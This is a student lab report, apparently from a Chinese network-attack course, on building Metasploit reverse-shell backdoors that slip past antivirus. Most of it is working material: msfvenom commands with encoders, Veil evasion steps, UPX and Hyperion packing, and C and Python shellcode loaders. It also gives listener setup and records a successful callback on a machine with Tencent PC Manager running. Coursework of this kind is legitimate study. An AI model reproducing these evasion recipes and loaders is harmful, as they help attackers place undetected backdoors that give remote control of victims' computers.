• 2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践


    2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践

    一、实验要求

    了解metasploit、veil、加壳工具的使用方法,并利用以上软件实现后门程序与杀软之间的共存,并利用后门程序获取被攻击方的shell。

    二、实验目标

    • 1、正确使用msf编码器
    • 2、msfvenom生成如jar之类的其他文件
    • 3、使用veil进行免杀处理
    • 4、使用upx加压缩壳,hyperion加加密壳
    • 5、使用C + shellcode编程进行免杀
    • 6、使用python + shellcode进行免杀(使用其他课堂未介绍方法)
    • 7、通过组合应用各种技术实现恶意代码免杀
    • 8、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    三、实验过程

    1.准备工作

    (1)安装veil

    • sudo apt-get install veil命令安装veil,如果有问题可以尝试使用sudo apt-get updatesudo apt-get upgrade命令更新一下软件包。
    • 安装完成后使用veil命令打开veil,输入Y继续安装直到完成。期间可能会因为网络问题下载中断,并且需要手动确认部分软件的安装,这一准备工作需要较长的时间。

    (2)hyperion加密壳应用
    由于我的kali系统里没有hyperion的文件夹,因此我参考了同学的博客下载了hyperion2.2的压缩包,并生成了一个hyperion.exe可执行文件(压缩包下载以及可执行文件生成方式)。需要注意的是,链接中的压缩包需要使用2.2版本,且hyperion.exe文件需要在Hyperion-2.2这一目录下生成,并将需要添加加密壳的文件复制到Hyperion-2.2目录下再进行加密。

    (3)配置python环境
    在本次实验中我使用了python + shellcode这一课堂未介绍的免杀方式,而这一方法需要在x86系统中配置python2.7环境(python2.7下载链接),并配置python环境变量,即需要下载安装python2.7的包,并将python2.7的文件路径添加到系统环境变量path中。

    2.正确使用msf编码器

    在上一个实验中我们已经了解了metasploit的msfvenom指令,在本次实验中我们需要了解msf指令中与免杀相关的参数,并尝试不同参数的免杀效果。
    (1)使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘x00’ LHOST=192.168.219.134 LPORT=5320 -f exe > 5320shiyan3.exe命令生成后门程序,并使用virscan进行扫描。

    • -p设置payload
    • -e参数设置编码器
    • -i参数设置编码次数
    • -b去掉'x00’
    • -f设置生成的文件的格式
    • '>'表示重定向,可以使用-o代替


    从检测结果可以看出,免杀的效果并不好,有53%的杀软检测出了后门程序。

    (2)使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=192.168.219.134 LPORT=5320 -f exe > 5320shiyan3-i10.exe命令增加编码次数并生成后门程序,然后使用virscan进行扫描。

    从检测结果可以看出,仍有53%的杀软检测出了后门程序,10次编码的结果与5次编码的结果相比没有区别。多次编码对免杀结果没有效果,主要有一下两点原因:

    • shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只要盯住这部分就可以了。
    • msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。所以一般来说AV厂商会针对其使用的模板来生成特征码,这样就一劳永逸地解决所有msfvenom生成的恶意代码了。那如果使用msfvenom免杀,就要使用原生的模板。

    值得注意的是,我还尝试了使用msfvenom命令将后门程序与正常安装包进行捆绑,即通过-x参数与可执行文件进行绑定。而对绑定的文件进行5次和10次编码后,10次编码的后门程序的检出率要高于5次编码的后门程序的检出率,有些杀软在5次编码情况下检测不出后门,而在10次编码的情况下能够检测出后门,这提醒我不能盲目地增加编码次数。
    编码5次的扫描结果:

    编码10次的扫描结果:

    3.msfvenom生成如jar之类的其他文件

    3.1 msfvenom生成jar文件

    (1)msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.219.134 LPORT=5320 -f jar > 5320shiyan3.jar命令生成jar文件。

    (2)将生成的文件放到virscan上进行扫描,扫描结果如下:

    从扫描结果来看,杀软的检出率明显降低,只有32%的杀软检测了出来。

    3.2 msfvenom生成python文件

    (1)使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.219.134 LPORT=5320 -e x86/shikata_ga_nai -i 11 -f py -o 5320shiyan3py2.py生成python文件。

    (2)使用virscan进行扫描,检出率为0%。

    虽然生成的python文件不会被杀软识别为恶意代码,但是我尝试运行该文件后发现无法与控制端进行连接。之后我通过查找资料了解到这里生成的python文件实际上是一片shellcode,需要后期将该文件修改后才能生成后门程序,而这里就是后面利用python + shellcode进行免杀的基础。

    4.使用veil进行免杀处理

    首先我们需要安装veil,安装过程我在前面的准备工作中介绍了,这里我就不再赘述了。veil可以使用其他语言将meterpreter重写,从而实现免杀,这里我使用了c语言进行了重写,具体操作过程如下:
    (1)安装好veil后在命令行输入veil打开veil

    (2)使用use evasion命令进入veil-evasion,这里我们能看见可以使用的命令。

    (3)输入list命令查看可用的payload,这里我需要使用c/meterpreter/rev_tcp.py,于是输入use c/meterpreter/rev_tcp.py选择并进入配置界面。

    (4)在配置界面中输入set LHOST 192.168.219.134set LPORT 5320设置ip和端口。

    (5)使用generate命令生成exe文件。注意界面中显示的几行高亮的路径,有var的路径从上到下分别为可执行文件的位置、代码的位置以及可对metasploit进行配置的资源文件。

    (6)将生成的文件复制到打开了杀软的被攻击主机,后门程序被杀软发现并删除了。

    (7)暂时关闭杀软,再次将veil产生的后门程序复制到被攻击主机中,然后在kali中使用msfconsole -r + 资源文件路径命令对metasploit进行设置并开启监听,双击运行后门程序,metasploit获取会话连接。

    (8)使用sessions -l命令查看所有会话,sessions -i 1选中第一个会话后便可以实现对被攻击方的控制。

    这里我也尝试过使用ruby重写meterpreter,但生成的可执行文件同样出现了签名的问题,查了ocra和ruby方面的资料也没有将这一问题解决。

    5.使用upx加压缩壳,hyperion加加密壳

    5.1 upx压缩壳

    加压缩壳的操作比较简便,kali中内置了upx,只需要使用命令upx 5320shiyan3veil.exe -o 5320veilupxed.exe即可生成加压缩壳后的文件。

    5.2 hyperion加密壳

    由于我的系统没有hyperion.exe所以还需要自己想办法生成,生成的方法我已经在准备工作中讲过了,这里就不再赘述。准备工作做好后,将需要加壳的文件复制到Hyperion-2.2这一文件目录下,然后进入Hyperion2.2这一目录,输入wine hyperion.exe -v 5320shiyan3veil.exe 5320veilhyped.exe命令进行加壳。

    我将两种加壳后的文件先后复制到windows,发现压缩壳处理后的文件杀软没有反应,而加密壳处理后的文件却被杀软查杀了。

    6.使用C + shellcode编程进行免杀

    在这里我们使用metaploit生成shellcode,然后在windows环境下编写程序实现对shellcode的调用,最后将该程序的可执行文件复制到被攻击的主机中进行测试。具体过程如下:
    (1)使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.219.134 LPORT=5320 -e x86/shikata_ga_nai -i 11 -f c -o 5320cshellcode.c生成shellcode,并将shellcode保存在-o参数指向的文件中。

    (2)将上面生成的c文件复制到主机中,使用codeblock打开并对文件中的代码进行修改,修改后的代码如下:

    unsigned char buf[] =
    "xd9xedxd9x74x24xf4xbax8ax70xfe...
    "xb3x3fxb5xddxb0x76x42x93";
    /*shellcode*/
    
    int main()
    {
        int (*func)() = (int(*)())buf;
        func();
    }
    

    (3)修改后对c文件进行build,将生成的.exe文件复制到被攻击主机,复制之后杀软360并没有发现后门程序。

    (4)使用virscan对可执行文件进行扫描,有14%的杀软扫描出来了,比前面的方法减少了许多。

    (5)控制端输入msfconsole进入metasploit,通过set payload windows/meterpreter/reverse_tcp设置payload,set LHOST 192.168.219.134设置ip,set LPORT 5320设置监听端口。

    (6)控制端输入exploit开启监听,被攻击端点击运行5320cshellcode.exe,之后可以在控制端获取被攻击方的shell。

    7.使用python + shellcode进行免杀(使用其他课堂未介绍方法)

    这里我利用了上面使用msfvenom生成的python文件,在windows中使用ide进行修改后在x86系统中生成了可执行文件,然后复制到被攻击主机上进行运行,这里我参考了这篇博客Metasploit+python生成免杀exe过360杀毒,具体过程如下:
    (1)使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.219.134 LPORT=5320 -e x86/shikata_ga_nai -i 11 -f py -o 5320shiyan3py2.py命令生成shellcode(前面已经生成了)。

    (2)将上面生成的.py文件复制到主机中,使用ide打开并对文件中的代码进行修改,这里我使用的是pycharm,修改后的代码如下:

    from ctypes import *
    import ctypes
    
    buf =  b""
    buf+=b"xbdx91x27x33xd1xdbxcfxd9x74x24xf4x58x2b"
    ...
    buf+=b"x46xfex25x6fxbax40x67x7c"
    #shellcode
    
    #libc = CDLL('libc.so.6')
    
    PROT_READ = 1
    
    PROT_WRITE = 2
    
    PROT_EXEC = 4
    ...#(详细代码见博客链接)
    shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
    
    print "Code By Luan"
    
    shell()
    

    (3)在windows上安装python的环境,下载支持将python生成exe的软件pyinstall,解压后在cmd中进入pyinstall的目录,将需要转化的python文件复制到pyinstall的文件夹后,执行python pyinstaller.py --console --onefile 5320shiyan3py2.py,在这里pyinstall不要有中文路径。

    (4)在pyinstaller-2.05320shiyan3py2dist目录下找到可执行文件,将该文件复制到被攻击主机上,被攻击主机杀软没有反应。

    (5)控制端输入msfconsole进入metasploit,通过set payload windows/meterpreter/reverse_tcp设置payload,set LHOST 192.168.219.134设置ip,set LPORT 5320设置监听端口。

    (6)控制端输入exploit开启监听,被攻击端点击运行5320shiyan3py2.exe,之后可以在控制端获取被攻击方的shell。

    (7)使用virscan进行扫描,杀软的检出率为10%,比c + shellcode的效果要好。

    8.通过组合应用各种技术实现恶意代码免杀

    这里我使用了上面生成的5320shiyan3py2.exe,并对其分别进行了压缩壳以及加密壳处理,希望通过加壳进一步减少特征的符合度。

    8.1 upx压缩壳+python shellcode

    使用upx对之前半手工生成的基于python的可执行文件进行加壳,然后复制到被攻击主机并使用virscan进行扫描,在这一过程中,被攻击主机杀软没有反应,virscan扫描结果显示10%的杀软检测出了后门程序。由此可见,对于这种不是捆绑正常软件的后门程序,压缩壳对免杀的作用不是很大。

    8.2 hyperion加密壳+python shellcode

    使用hyperion对之前半手工生成的基于python的可执行文件进行加壳,然后复制到被攻击主机并使用virscan进行扫描,在这一过程中,被攻击主机的杀软检测出了加壳后文件,而virscan的扫描结果显示有24%的杀软检测出了后门程序,复合处理后后门程序的隐蔽性降低了。

    9.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    在这里我在另一个win7虚拟机中安装了腾讯电脑管家,并将病毒库更新到了最新版本,然后将之前使用压缩壳处理后的基于python shellcode的可执行文件复制到了该虚拟机中,经过扫描测试杀软并不能识别该后门程序,且该后门程序可以正常回连,并获取了自身的进程号。


    四、实验中遇到的问题

    • 问题一:安装veil的过程中显示wine没有安装
    • 问题一解决方法:sudo apt-get install wine32,然后重新安装veil。
    • 问题二:在/usr/share/windows-binaries/hyperion/目录下没有hyperion.exe文件
    • 问题二解决方法:自行下载并编译生成hyperion.exe,压缩包下载方式以及编译方法已经在准备工作中介绍了。

    五、实验感想和思考

    本次实验总的来说还是比较复杂的,不仅实验的环境需要花较多的时间进行配置,还要尝试不同的免杀方式,并对这些不同方法下生成的后门进行测试。在生成后门程序的时候推荐还是使用编码器进行适当次数的编码,这样可以减少被识别出来的概率。在对后门程序进行恰当的免杀处理后,绝大多数的杀软已经无法识别出后门程序,这在上一次实验的基础上更进了一步,也提醒了我们要注意后门程序的入侵,尽量不要通过非官方的途径获取所需的可执行文件。

    思考:

    • (1)杀软是如何检测出恶意代码的?
      答:有基于特征码检测、启发式恶意软件检测、基于行为的恶意软件检测等方式。
    • (2)免杀是做什么?
      答:改变恶意软件的特征,使得杀软无法识别恶意软件。
    • (3)免杀的基本方法有哪些?
      答:通过使用编码器多次进行编码、重写meterpreter、加壳、半手动生成shellcode等方法,主要目的就是使得杀软无法通过特征码等方式识别出恶意软件。

    六、参考资料

  • 相关阅读:
    HPB 是什么
    HPB共识算法选举机制描述
    【CS231n】斯坦福大学李飞飞视觉识别课程笔记(六):线性分类笔记(上)
    大讲堂专访丨连接Oracle DBA与开发的桥梁:Oracle的redo与undo
    SCN风波又起,2019年6月之前Oracle必须升级吗?
    去面试Python工程师,这几个基础问题一定要能回答,Python面试题No4
    OpenStack 的单元测试
    创建docker镜像的两种方式
    Vue.js 条件渲染 v-if、v-show、v-else
    Linux下Wiki服务器的搭建
  • 原文地址:https://www.cnblogs.com/nameless-student/p/12582867.html
Copyright © 2020-2023  润新知